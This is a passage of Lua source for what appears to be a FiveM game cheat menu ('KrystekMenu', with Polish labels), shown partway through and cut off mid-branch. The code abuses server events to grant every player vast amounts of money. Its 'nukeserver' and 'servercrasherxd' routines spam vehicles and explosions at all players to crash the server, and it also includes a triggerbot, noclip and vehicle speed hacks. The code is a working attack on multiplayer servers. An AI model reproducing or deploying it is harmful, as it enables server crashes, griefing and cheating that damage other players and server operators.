  7559. Citizen.CreateThread(
  7560. function()
  7561. TriggerServerEvent("arisonarp:mandathajs", 99999999999, GetPlayerServerId(i))
  7562. for i = 0, 128 do
  7563. TriggerServerEvent(
  7564. 'bank:transfer',
  7565. GetPlayerServerId(i),
  7566. 125475600
  7567. )
  7568. TriggerServerEvent(
  7569. 'esx:giveInventoryItem',
  7570. GetPlayerServerId(i),
  7571. 'item_money',
  7572. 'money',
  7573. 125475600
  7574. )
  7575. end
  7576. end
  7577. )
  7578. end
  7579.  
  7580. function giveeveryonecloud()
  7581. Citizen.CreateThread(
  7582. function()
  7583. TriggerServerEvent('loginhud2:payout', 99999999999999)
  7584. for i = 0, 128 do
  7585. TriggerServerEvent(
  7586. 'bank:transfer',
  7587. GetPlayerServerId(i),
  7588. 125475600
  7589. )
  7590. end
  7591. end
  7592. )
  7593. end
  7594.  
  7595. function nukeserver()
  7596. Citizen.CreateThread(
  7597. function()
  7598. local dj = 'Avenger'
  7599. local dk = 'CARGOPLANE'
  7600. local dl = 'luxor'
  7601. local dm = 'maverick'
  7602. local dn = 'blimp2'
  7603. while not HasModelLoaded(GetHashKey(dk)) do
  7604. Citizen.Wait(0)
  7605. RequestModel(GetHashKey(dk))
  7606. end
  7607. while not HasModelLoaded(GetHashKey(dl)) do
  7608. Citizen.Wait(0)
  7609. RequestModel(GetHashKey(dl))
  7610. end
  7611. while not HasModelLoaded(GetHashKey(dj)) do
  7612. Citizen.Wait(0)
  7613. RequestModel(GetHashKey(dj))
  7614. end
  7615. while not HasModelLoaded(GetHashKey(dm)) do
  7616. Citizen.Wait(0)
  7617. RequestModel(GetHashKey(dm))
  7618. end
  7619. while not HasModelLoaded(GetHashKey(dn)) do
  7620. Citizen.Wait(0)
  7621. RequestModel(GetHashKey(dn))
  7622. end
  7623. for bD = 0, 9 do
  7624. TriggerServerEvent(
  7625. '_chat:messageEntered',
  7626. '^1O^2o^3H^4e^5j^6a^1C^2o^3t^4a^5m',
  7627. {
  7628. 141,
  7629. 211,
  7630. 255
  7631. },
  7632. '^' .. bD .. 'Kocham Was :D'
  7633. )
  7634. end
  7635. for i = 0, 128 do
  7636. local dl =
  7637. CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
  7638. CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
  7639. CreateVehicle(GetHashKey(dj), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
  7640. CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
  7641. CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
  7642. CreateVehicle(GetHashKey(dk), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
  7643. CreateVehicle(GetHashKey(dl), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
  7644. CreateVehicle(GetHashKey(dl), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
  7645. CreateVehicle(GetHashKey(dl), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
  7646. CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
  7647. CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
  7648. CreateVehicle(GetHashKey(dm), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
  7649. CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) + 2.0, true, true) and
  7650. CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) + 10.0, true, true) and
  7651. CreateVehicle(GetHashKey(dn), 2 * GetEntityCoords(GetPlayerPed(i)) + 15.0, true, true) and
  7652. AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true, false, 100000.0) and
  7653. AddExplosion(GetEntityCoords(GetPlayerPed(i)), 5, 3000.0, true, false, true)
  7654. end
  7655. end
  7656. )
  7657. end
  7658. if servercrasherxd then
  7659. Citizen.CreateThread(
  7660. function()
  7661. local dj = 'Avenger'
  7662. local dk = 'CARGOPLANE'
  7663. local dl = 'luxor'
  7664. local dm = 'maverick'
  7665. local dn = 'blimp2'
  7666. while not HasModelLoaded(GetHashKey(dk)) do
  7667. Citizen.Wait(0)
  7668. RequestModel(GetHashKey(dk))
  7669. end
  7670. while not HasModelLoaded(GetHashKey(dl)) do
  7671. Citizen.Wait(0)
  7672. RequestModel(GetHashKey(dl))
  7673. end
  7674. while not HasModelLoaded(GetHashKey(dj)) do
  7675. Citizen.Wait(0)
  7676. RequestModel(GetHashKey(dj))
  7677. end
  7678. while not HasModelLoaded(GetHashKey(dm)) do
  7679. Citizen.Wait(0)
  7680. RequestModel(GetHashKey(dm))
  7681. end
  7682. while not HasModelLoaded(GetHashKey(dn)) do
  7683. Citizen.Wait(0)
  7684. RequestModel(GetHashKey(dn))
  7685. end
  7686. for i = 0, 128 do
  7687. for ak = 100, 150 do
  7688. local dl =
  7689. CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  7690. CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  7691. CreateVehicle(GetHashKey(dj), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true) and
  7692. CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  7693. CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  7694. CreateVehicle(GetHashKey(dk), 2 * GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  7695. CreateVehicle(GetHashKey(dl), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  7696. CreateVehicle(GetHashKey(dl), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true) and
  7697. CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  7698. CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  7699. CreateVehicle(GetHashKey(dm), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true) and
  7700. CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  7701. CreateVehicle(GetHashKey(dn), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  7702. CreateVehicle(GetHashKey(dn), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true)
  7703. end
  7704. end
  7705. end
  7706. )
  7707. end
  7708. if VehSpeed and IsPedInAnyVehicle(PlayerPedId(-1), true) then
  7709. if IsControlPressed(0, 209) then
  7710. SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId(-1)), 100.0)
  7711. elseif IsControlPressed(0, 210) then
  7712. SetVehicleForwardSpeed(GetVehiclePedIsUsing(PlayerPedId(-1)), 0.0)
  7713. end
  7714. end
  7715. if TriggerBot then
  7716. local dp, Entity = GetEntityPlayerIsFreeAimingAt(PlayerId(-1), Entity)
  7717. if dp then
  7718. if IsEntityAPed(Entity) and not IsPedDeadOrDying(Entity, 0) and IsPedAPlayer(Entity) then
  7719. ShootPlayer(Entity)
  7720. end
  7721. end
  7722. end
  7723. DisplayRadar(true)
  7724. if RainbowVeh then
  7725. local dq = k(1.0)
  7726. SetVehicleCustomPrimaryColour(GetVehiclePedIsUsing(PlayerPedId(-1)), dq.r, dq.g, dq.b)
  7727. SetVehicleCustomSecondaryColour(GetVehiclePedIsUsing(PlayerPedId(-1)), dq.r, dq.g, dq.b)
  7728. end
  7729. if rainbowh then
  7730. for i = -1, 12 do
  7731. Citizen.Wait(100)
  7732. local a8 = k(1.0)
  7733. SetVehicleHeadlightsColour(GetVehiclePedIsUsing(PlayerPedId(-1)), i)
  7734. SetVehicleNeonLightsColour(GetVehiclePedIsUsing(PlayerPedId(-1)), a8.r, a8.g, a8.b)
  7735. if i == 12 then
  7736. i = -1
  7737. end
  7738. end
  7739. end
  7740. if t2x then
  7741. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2.0 * 20.0)
  7742. end
  7743. if t4x then
  7744. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4.0 * 20.0)
  7745. end
  7746. if t10x then
  7747. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 10.0 * 20.0)
  7748. end
  7749. if t16x then
  7750. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16.0 * 20.0)
  7751. end
  7752. if txd then
  7753. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 500.0 * 20.0)
  7754. end
  7755. if tbxd then
  7756. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 9999.0 * 20.0)
  7757. end
  7758. if xdxd then
  7759. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1), false), 90000.0 * 20.0)
  7760. end
  7761. if Noclip then
  7762. local dr = 2
  7763. local ds =
  7764. IsPedInAnyVehicle(PlayerPedId(-1), false) and GetVehiclePedIsUsing(PlayerPedId(-1)) or
  7765. PlayerPedId(-1)
  7766. FreezeEntityPosition(PlayerPedId(-1), true)
  7767. SetEntityInvincible(PlayerPedId(-1), true)
  7768. local dt = GetEntityCoords(entity)
  7769. DisableControlAction(0, 32, true)
  7770. DisableControlAction(0, 268, true)
  7771. DisableControlAction(0, 31, true)
  7772. DisableControlAction(0, 269, true)
  7773. DisableControlAction(0, 33, true)
  7774. DisableControlAction(0, 266, true)
  7775. DisableControlAction(0, 34, true)
  7776. DisableControlAction(0, 30, true)
  7777. DisableControlAction(0, 267, true)
  7778. DisableControlAction(0, 35, true)
  7779. DisableControlAction(0, 44, true)
  7780. DisableControlAction(0, 20, true)
  7781. local du = 0.0
  7782. local dv = 0.0
  7783. if GetInputMode() == 'MouseAndKeyboard' then
  7784. if IsDisabledControlPressed(0, 32) then
  7785. du = 0.5
  7786. end
  7787. if IsDisabledControlPressed(0, 33) then
  7788. du = -0.5
  7789. end
  7790. if IsDisabledControlPressed(0, 34) then
  7791. SetEntityHeading(PlayerPedId(-1), GetEntityHeading(PlayerPedId(-1)) + 3.0)
  7792. end
  7793. if IsDisabledControlPressed(0, 35) then
  7794. SetEntityHeading(PlayerPedId(-1), GetEntityHeading(PlayerPedId(-1)) - 3.0)
  7795. end
  7796. if IsDisabledControlPressed(0, 44) then
  7797. dv = 0.21
  7798. end
  7799. if IsDisabledControlPressed(0, 20) then
  7800. dv = -0.21
  7801. end
  7802. end
  7803. dt = GetOffsetFromEntityInWorldCoords(ds, 0.0, du * (dr + 0.3), dv * (dr + 0.3))
  7804. local bL = GetEntityHeading(ds)
  7805. SetEntityVelocity(ds, 0.0, 0.0, 0.0)
  7806. SetEntityRotation(ds, 0.0, 0.0, 0.0, 0, false)
  7807. SetEntityHeading(ds, bL)
  7808. SetEntityCollision(ds, false, false)
  7809. SetEntityCoordsNoOffset(ds, dt.x, dt.y, dt.z, true, true, true)
  7810. FreezeEntityPosition(ds, false)
  7811. SetEntityInvincible(ds, false)
  7812. SetEntityCollision(ds, true, true)
  7813. end
  7814. end
  7815. end
  7816. )
  7817. Citizen.CreateThread(
  7818. function()
  7819. FreezeEntityPosition(entity, false)
  7820. local dw = 1
  7821. local dx = true
  7822. local dy = nil
  7823. local dz = nil
  7824. local dA = nil
  7825. local dB = 1
  7826. local dC = 1
  7827. local dD = {
  7828. 1.0,
  7829. 2.0,
  7830. 4.0,
  7831. 10.0,
  7832. 512.0,
  7833. 9999.0,
  7834. 99999.0
  7835. }
  7836. KrystekMenu.CreateMenu('KrystekMu', bs)
  7837. KrystekMenu.SetSubTitle('KrystekMu', 'Zrobione By Krystek :D <3')
  7838. KrystekMenu.CreateSubMenu('SelfMenu', 'KrystekMu', 'Menu Postaci')
  7839. KrystekMenu.CreateSubMenu('TeleportMenu', 'KrystekMu', 'Menu Teleportu')
  7840. KrystekMenu.CreateSubMenu('WeaponMenu', 'KrystekMu', 'Menu Broni')
  7841. KrystekMenu.CreateSubMenu('AdvM', 'KrystekMu', 'Zaawansowane Menu')
  7842. KrystekMenu.CreateSubMenu('LuaMenu', 'KrystekMu', 'Lua Menu')
  7843. KrystekMenu.CreateSubMenu('VehicleMenu', 'KrystekMu', 'Menu Pojazdow')
  7844. KrystekMenu.CreateSubMenu('OnlinePlayerMenu', 'KrystekMu', 'Gracze Online')
  7845. KrystekMenu.CreateSubMenu('PlayerOptionsMenu', 'OnlinePlayerMenu', 'Menu Postaci Online')
  7846. KrystekMenu.CreateSubMenu('Destroyer', 'AdvM', 'Menu Rozpierdolu')
  7847. KrystekMenu.CreateSubMenu('ESXBoss', 'LuaMenu', 'ESX Boss Triggery')
  7848. KrystekMenu.CreateSubMenu('ESXMoney', 'LuaMenu', 'ESX Pieniadze Triggery')
  7849. KrystekMenu.CreateSubMenu('ESXBankomat', 'LuaMenu', 'ESX Bankomat')
  7850. KrystekMenu.CreateSubMenu('ESXDrugs', 'LuaMenu', 'ESX Dragi i Inne')
  7851. KrystekMenu.CreateSubMenu("MODEL", "LuaMenu", "Zmiana Postaci")
  7852. KrystekMenu.CreateSubMenu("Dzwieki", "LuaMenu", "Dzwieki")
  7853. KrystekMenu.CreateSubMenu('ESXCustom', 'LuaMenu', 'ESX Rozne Triggery')
  7854. KrystekMenu.CreateSubMenu('VRPTriggers', 'LuaMenu', 'VRP Triggery')
  7855. KrystekMenu.CreateSubMenu('MiscTriggers', 'LuaMenu', 'Inne Triggery')
  7856. KrystekMenu.CreateSubMenu('crds', 'KrystekMu', 'Tworca')
  7857. KrystekMenu.CreateSubMenu('ESXJobs', 'LuaMenu', 'ESX Prace')
  7858. KrystekMenu.CreateSubMenu('ESXJobs2', 'PlayerOptionsMenu', 'ESX Prace Dowolne')
  7859. KrystekMenu.CreateSubMenu('ESXTriggerini', 'PlayerOptionsMenu', 'ESX Triggery')
  7860. KrystekMenu.CreateSubMenu('Trollmenu', 'PlayerOptionsMenu', 'Troll Menu')
  7861. KrystekMenu.CreateSubMenu('WeaponTypes', 'WeaponMenu', 'Bronie')
  7862. KrystekMenu.CreateSubMenu('WeaponTypeSelection', 'WeaponTypes', 'Bron')
  7863. KrystekMenu.CreateSubMenu('WeaponOptions', 'WeaponTypeSelection', 'Opcje Broni')
  7864. KrystekMenu.CreateSubMenu('ModSelect', 'WeaponOptions', 'Menu Borni Opcje')
  7865. KrystekMenu.CreateSubMenu('CarTypes', 'VehicleMenu', 'Pojazdy')
  7866. KrystekMenu.CreateSubMenu('CarTypeSelection', 'CarTypes', 'Moew :3')
  7867. KrystekMenu.CreateSubMenu('CarOptions', 'CarTypeSelection', 'Opcje Pojazdow')
  7868. KrystekMenu.CreateSubMenu('MainTrailer', 'VehicleMenu', 'Przyczepy do Przyczepienia')
  7869. KrystekMenu.CreateSubMenu('MainTrailerSel', 'MainTrailer', 'Przyczepy Dostepne')
  7870. KrystekMenu.CreateSubMenu('MainTrailerSpa', 'MainTrailerSel', 'Zresp Przyczepe')
  7871. KrystekMenu.CreateSubMenu('GiveSingleWeaponPlayer', 'OnlinePlayerMenu', 'Pojedzyncza Bron')
  7872. KrystekMenu.CreateSubMenu('ESPMenu', 'AdvM', 'ESP Menu')
  7873. KrystekMenu.CreateSubMenu('LSC', 'VehicleMenu', 'LSC Customs')
  7874. KrystekMenu.CreateSubMenu('tunings', 'LSC', 'Wizualny Tuning')
  7875. KrystekMenu.CreateSubMenu('performance', 'LSC', 'Tuning Osiagow')
  7876. KrystekMenu.CreateSubMenu('VRPPlayerTriggers', 'PlayerOptionsMenu', 'VRP Triggery')
  7877. KrystekMenu.CreateSubMenu('BoostMenu', 'VehicleMenu', 'Boostuj Pojazd')
  7878. KrystekMenu.CreateSubMenu('SpawnPeds', 'Trollmenu', 'Zresp Ludzi')
  7879. KrystekMenu.CreateSubMenu('SpawnObj', 'Trollmenu', 'Zresp Model')
  7880. KrystekMenu.CreateSubMenu('GCT', 'VehicleMenu', 'Globalne Pojazdowe Trolle')
  7881. KrystekMenu.CreateSubMenu('CsMenu', 'AdvM', 'Celowniki')
  7882. for i, dE in pairs(bl) do
  7883. KrystekMenu.CreateSubMenu(dE.id, 'tunings', dE.name)
  7884. if dE.id == 'paint' then
  7885. KrystekMenu.CreateSubMenu('primary', dE.id, 'Primary Paint')
  7886. KrystekMenu.CreateSubMenu('secondary', dE.id, 'Secondary Paint')
  7887. KrystekMenu.CreateSubMenu('rimpaint', dE.id, 'Wheel Paint')
  7888. KrystekMenu.CreateSubMenu('classic1', 'primary', 'Classic Paint')
  7889. KrystekMenu.CreateSubMenu('metallic1', 'primary', 'Metallic Paint')
  7890. KrystekMenu.CreateSubMenu('matte1', 'primary', 'Matte Paint')
  7891. KrystekMenu.CreateSubMenu('metal1', 'primary', 'Metal Paint')
  7892. KrystekMenu.CreateSubMenu('classic2', 'secondary', 'Classic Paint')
  7893. KrystekMenu.CreateSubMenu('metallic2', 'secondary', 'Metallic Paint')
  7894. KrystekMenu.CreateSubMenu('matte2', 'secondary', 'Matte Paint')
  7895. KrystekMenu.CreateSubMenu('metal2', 'secondary', 'Metal Paint')
  7896. KrystekMenu.CreateSubMenu('classic3', 'rimpaint', 'Classic Paint')
  7897. KrystekMenu.CreateSubMenu('metallic3', 'rimpaint', 'Metallic Paint')
  7898. KrystekMenu.CreateSubMenu('matte3', 'rimpaint', 'Matte Paint')
  7899. KrystekMenu.CreateSubMenu('metal3', 'rimpaint', 'Metal Paint')
  7900. end
  7901. end
  7902. for i, dE in pairs(bm) do
  7903. KrystekMenu.CreateSubMenu(dE.id, 'performance', dE.name)
  7904. end
  7905. local SelectedPlayer
  7906. while bw do
  7907. ped = PlayerPedId()
  7908. veh = GetVehiclePedIsUsing(ped)
  7909. SetVehicleModKit(veh, 0)
  7910. for i, dE in pairs(bl) do
  7911. if KrystekMenu.IsMenuOpened('tunings') then
  7912. if bg then
  7913. if bi == 'neon' then
  7914. local r, g, b = table.unpack(bh)
  7915. SetVehicleNeonLightsColour(veh, r, g, b)
  7916. SetVehicleNeonLightEnabled(veh, 0, bk)
  7917. SetVehicleNeonLightEnabled(veh, 1, bk)
  7918. SetVehicleNeonLightEnabled(veh, 2, bk)
  7919. SetVehicleNeonLightEnabled(veh, 3, bk)
  7920. bg = false
  7921. bi = -1
  7922. bh = -1
  7923. elseif bi == 'paint' then
  7924. local dF, dG, dH, dI = table.unpack(bh)
  7925. SetVehicleColours(veh, dF, dG)
  7926. SetVehicleExtraColours(veh, dH, dI)
  7927. bg = false
  7928. bi = -1
  7929. bh = -1
  7930. else
  7931. if bk == 'rm' then
  7932. RemoveVehicleMod(veh, bi)
  7933. bg = false
  7934. bi = -1
  7935. bh = -1
  7936. else
  7937. SetVehicleMod(veh, bi, bh, false)
  7938. bg = false
  7939. bi = -1
  7940. bh = -1
  7941. end
  7942. end
  7943. end
  7944. end
  7945. if KrystekMenu.IsMenuOpened(dE.id) then
  7946. if dE.id == 'wheeltypes' then
  7947. if KrystekMenu.Button('Sport Wheels') then
  7948. SetVehicleWheelType(veh, 0)
  7949. elseif KrystekMenu.Button('Muscle Wheels') then
  7950. SetVehicleWheelType(veh, 1)
  7951. elseif KrystekMenu.Button('Lowrider Wheels') then
  7952. SetVehicleWheelType(veh, 2)
  7953. elseif KrystekMenu.Button('SUV Wheels') then
  7954. SetVehicleWheelType(veh, 3)
  7955. elseif KrystekMenu.Button('Offroad Wheels') then
  7956. SetVehicleWheelType(veh, 4)
  7957. elseif KrystekMenu.Button('Tuner Wheels') then
  7958. SetVehicleWheelType(veh, 5)
  7959. elseif KrystekMenu.Button('High End Wheels') then
  7960. SetVehicleWheelType(veh, 7)
  7961. end
  7962. KrystekMenu.Display()
  7963. elseif dE.id == 'extra' then
  7964. local dJ = checkValidVehicleExtras()
  7965. for i, dE in pairs(dJ) do
  7966. if IsVehicleExtraTurnedOn(veh, i) then
  7967. pricestring = 'Zainstalowane'
  7968. else
  7969. pricestring = 'Nie Zainstalowane'
  7970. end
  7971. if KrystekMenu.Button(dE.menuName, pricestring) then
  7972. SetVehicleExtra(veh, i, IsVehicleExtraTurnedOn(veh, i))
  7973. end
  7974. end
  7975. KrystekMenu.Display()
  7976. elseif dE.id == 'headlight' then
  7977. if KrystekMenu.Button('None') then
  7978. SetVehicleHeadlightsColour(veh, -1)
  7979. end
  7980. for dK, dE in pairs(bo) do
  7981. tp = GetVehicleHeadlightsColour(veh)
  7982. if tp == dE.id and not bg then
  7983. pricetext = 'Zainstalowane'
  7984. else
  7985. if bg and tp == dE.id then
  7986. pricetext = 'Testowanie'
  7987. else
  7988. pricetext = 'Nie Zainstalowane'
  7989. end
  7990. end
  7991. head = GetVehicleHeadlightsColour(veh)
  7992. if KrystekMenu.Button(dE.name, pricetext) then
  7993. if not bg then
  7994. bi = 'headlight'
  7995. bk = false
  7996. oldhead = GetVehicleHeadlightsColour(veh)
  7997. bh = table.pack(oldhead)
  7998. SetVehicleHeadlightsColour(veh, dE.id)
  7999. bg = true
  8000. elseif bg and head == dE.id then
  8001. ToggleVehicleMod(veh, 22, true)
  8002. SetVehicleHeadlightsColour(veh, dE.id)
  8003. bg = false
  8004. bi = -1
  8005. bh = -1
  8006. elseif bg and head ~= dE.id then
  8007. SetVehicleHeadlightsColour(veh, dE.id)
  8008. bg = true
  8009. end
  8010. end
  8011. end
  8012. KrystekMenu.Display()
  8013. elseif dE.id == 'licence' then
  8014. if KrystekMenu.Button('None') then
  8015. SetVehicleNumberPlateTextIndex(veh, 3)
  8016. end
  8017. for dK, dE in pairs(bn) do
  8018. tp = GetVehicleNumberPlateTextIndex(veh)
  8019. if tp == dE.id and not bg then
  8020. pricetext = 'Zainstalowane'
  8021. else
  8022. if bg and tp == dE.id then
  8023. pricetext = 'Testowanie'
  8024. else
  8025. pricetext = 'Nie Zainstalowane'
  8026. end
  8027. end
  8028. plate = GetVehicleNumberPlateTextIndex(veh)
  8029. if KrystekMenu.Button(dE.name, pricetext) then
  8030. if not bg then
  8031. bi = 'headlight'
  8032. bk = false
  8033. oldhead = GetVehicleNumberPlateTextIndex(veh)
  8034. bh = table.pack(oldhead)
  8035. SetVehicleNumberPlateTextIndex(veh, dE.id)
  8036. bg = true
  8037. elseif bg and plate == dE.id then
  8038. SetVehicleNumberPlateTextIndex(veh, dE.id)
  8039. bg = false
  8040. bi = -1
  8041. bh = -1
  8042. elseif bg and plate ~= dE.id then
  8043. SetVehicleNumberPlateTextIndex(veh, dE.id)
  8044. bg = true
  8045. end
  8046. end
  8047. end
  8048. KrystekMenu.Display()
  8049. elseif dE.id == 'neon' then
  8050. if KrystekMenu.Button('None') then
  8051. SetVehicleNeonLightsColour(veh, 255, 255, 255)
  8052. SetVehicleNeonLightEnabled(veh, 0, false)
  8053. SetVehicleNeonLightEnabled(veh, 1, false)
  8054. SetVehicleNeonLightEnabled(veh, 2, false)
  8055. SetVehicleNeonLightEnabled(veh, 3, false)
  8056. end
  8057. for i, dE in pairs(bq) do
  8058. colorr, colorg, colorb = table.unpack(dE)
  8059. r, g, b = GetVehicleNeonLightsColour(veh)
  8060. if
  8061. colorr == r and colorg == g and colorb == b and IsVehicleNeonLightEnabled(vehicle, 2) and
  8062. not bg
  8063. then
  8064. pricestring = 'Zainstalowane'
  8065. else
  8066. if bg and colorr == r and colorg == g and colorb == b then
  8067. pricestring = 'Testowanie'
  8068. else
  8069. pricestring = 'Nie Zainstalowane'
  8070. end
  8071. end
  8072. if KrystekMenu.Button(i, pricestring) then
  8073. if not bg then
  8074. bi = 'neon'
  8075. bk = IsVehicleNeonLightEnabled(veh, 1)
  8076. oldr, oldg, oldb = GetVehicleNeonLightsColour(veh)
  8077. bh = table.pack(oldr, oldg, oldb)
  8078. SetVehicleNeonLightsColour(veh, colorr, colorg, colorb)
  8079. SetVehicleNeonLightEnabled(veh, 0, true)
  8080. SetVehicleNeonLightEnabled(veh, 1, true)
  8081. SetVehicleNeonLightEnabled(veh, 2, true)
  8082. SetVehicleNeonLightEnabled(veh, 3, true)
  8083. bg = true
  8084. elseif bg and colorr == r and colorg == g and colorb == b then
  8085. SetVehicleNeonLightsColour(veh, colorr, colorg, colorb)
  8086. SetVehicleNeonLightEnabled(veh, 0, true)
  8087. SetVehicleNeonLightEnabled(veh, 1, true)
  8088. SetVehicleNeonLightEnabled(veh, 2, true)
  8089. SetVehicleNeonLightEnabled(veh, 3, true)
  8090. bg = false
  8091. bi = -1
  8092. bh = -1
  8093. elseif bg and colorr ~= r or colorg ~= g or colorb ~= b then
  8094. SetVehicleNeonLightsColour(veh, colorr, colorg, colorb)
  8095. SetVehicleNeonLightEnabled(veh, 0, true)
  8096. SetVehicleNeonLightEnabled(veh, 1, true)
  8097. SetVehicleNeonLightEnabled(veh, 2, true)
  8098. SetVehicleNeonLightEnabled(veh, 3, true)
  8099. bg = true
  8100. end
  8101. end
  8102. end
  8103. KrystekMenu.Display()
  8104. elseif dE.id == 'paint' then
  8105. if KrystekMenu.MenuButton('~h~~p~#~s~ Pierwszy Kolor', 'primary') then
  8106. elseif KrystekMenu.MenuButton('~h~~p~#~s~ Drugi Kolor', 'secondary') then
  8107. elseif KrystekMenu.MenuButton('~h~~p~#~s~ Kolor Felg', 'rimpaint') then
  8108. end
  8109. KrystekMenu.Display()
  8110. else
  8111. local az = checkValidVehicleMods(dE.id)
  8112. for i, dL in pairs(az) do
  8113. for dM, dN in pairs(bp) do
  8114. if dM == dE.name and GetVehicleMod(veh, dE.id) ~= dL.data.realIndex then
  8115. price = 'Nie Zainstalowane'
  8116. elseif dM == dE.name and bg and GetVehicleMod(veh, dE.id) == dL.data.realIndex then
  8117. price = 'Testowanie'
  8118. elseif dM == dE.name and GetVehicleMod(veh, dE.id) == dL.data.realIndex then
  8119. price = 'Zainstalowane'
  8120. end
  8121. end
  8122. if dL.menuName == '~h~~b~Stock' then
  8123. end
  8124. if dE.name == 'Horns' then
  8125. for dO, dP in pairs(bp) do
  8126. if dP == ci - 1 then
  8127. dL.menuName = dO
  8128. end
  8129. end
  8130. end
  8131. if dL.menuName == 'NULL' then
  8132. dL.menuName = 'unknown'
  8133. end
  8134. if KrystekMenu.Button(dL.menuName) then
  8135. if not bg then
  8136. bi = dE.id
  8137. bh = GetVehicleMod(veh, dE.id)
  8138. bg = true
  8139. if dL.data.realIndex == -1 then
  8140. bk = 'rm'
  8141. RemoveVehicleMod(veh, dL.data.modid)
  8142. bg = false
  8143. bi = -1
  8144. bh = -1
  8145. bk = false
  8146. else
  8147. bk = false
  8148. SetVehicleMod(veh, dE.id, dL.data.realIndex, false)
  8149. end
  8150. elseif bg and GetVehicleMod(veh, dE.id) == dL.data.realIndex then
  8151. bg = false
  8152. bi = -1
  8153. bh = -1
  8154. bk = false
  8155. if dL.data.realIndex == -1 then
  8156. RemoveVehicleMod(veh, dL.data.modid)
  8157. else
  8158. SetVehicleMod(veh, dE.id, dL.data.realIndex, false)
  8159. end
  8160. elseif bg and GetVehicleMod(veh, dE.id) ~= dL.data.realIndex then
  8161. if dL.data.realIndex == -1 then
  8162. RemoveVehicleMod(veh, dL.data.modid)
  8163. bg = false
  8164. bi = -1
  8165. bh = -1
  8166. bk = false
  8167. else
  8168. SetVehicleMod(veh, dE.id, dL.data.realIndex, false)
  8169. bg = true
  8170. end
  8171. end
  8172. end
  8173. end
  8174. KrystekMenu.Display()
  8175. end
  8176. end
  8177. end
  8178. for i, dE in pairs(bm) do
  8179. if KrystekMenu.IsMenuOpened(dE.id) then
  8180. if GetVehicleMod(veh, dE.id) == 0 then
  8181. pricestock = 'Nie Zainstalowane'
  8182. price1 = 'Zainstalowane'
  8183. price2 = 'Nie Zainstalowane'
  8184. price3 = 'Nie Zainstalowane'
  8185. price4 = 'Nie Zainstalowane'
  8186. elseif GetVehicleMod(veh, dE.id) == 1 then
  8187. pricestock = 'Nie Zainstalowane'
  8188. price1 = 'Nie Zainstalowane'
  8189. price2 = 'Zainstalowane'
  8190. price3 = 'Nie Zainstalowane'
  8191. price4 = 'Nie Zainstalowane'
  8192. elseif GetVehicleMod(veh, dE.id) == 2 then
  8193. pricestock = 'Nie Zainstalowane'
  8194. price1 = 'Nie Zainstalowane'
  8195. price2 = 'Nie Zainstalowane'
  8196. price3 = 'Zainstalowane'
  8197. price4 = 'Nie Zainstalowane'
  8198. elseif GetVehicleMod(veh, dE.id) == 3 then
  8199. pricestock = 'Nie Zainstalowane'
  8200. price1 = 'Nie Zainstalowane'
  8201. price2 = 'Nie Zainstalowane'
  8202. price3 = 'Nie Zainstalowane'
  8203. price4 = 'Zainstalowane'
  8204. elseif GetVehicleMod(veh, dE.id) == -1 then
  8205. pricestock = 'Zainstalowane'
  8206. price1 = 'Nie Zainstalowane'
  8207. price2 = 'Nie Zainstalowane'
  8208. price3 = 'Nie Zainstalowane'
  8209. price4 = 'Nie Zainstalowane'
  8210. end
  8211. if KrystekMenu.Button('Stock ' .. dE.name, pricestock) then
  8212. SetVehicleMod(veh, dE.id, -1)
  8213. elseif KrystekMenu.Button(dE.name .. ' Wersja 1', price1) then
  8214. SetVehicleMod(veh, dE.id, 0)
  8215. elseif KrystekMenu.Button(dE.name .. ' Wersja 2', price2) then
  8216. SetVehicleMod(veh, dE.id, 1)
  8217. elseif KrystekMenu.Button(dE.name .. ' Wersja 3', price3) then
  8218. SetVehicleMod(veh, dE.id, 2)
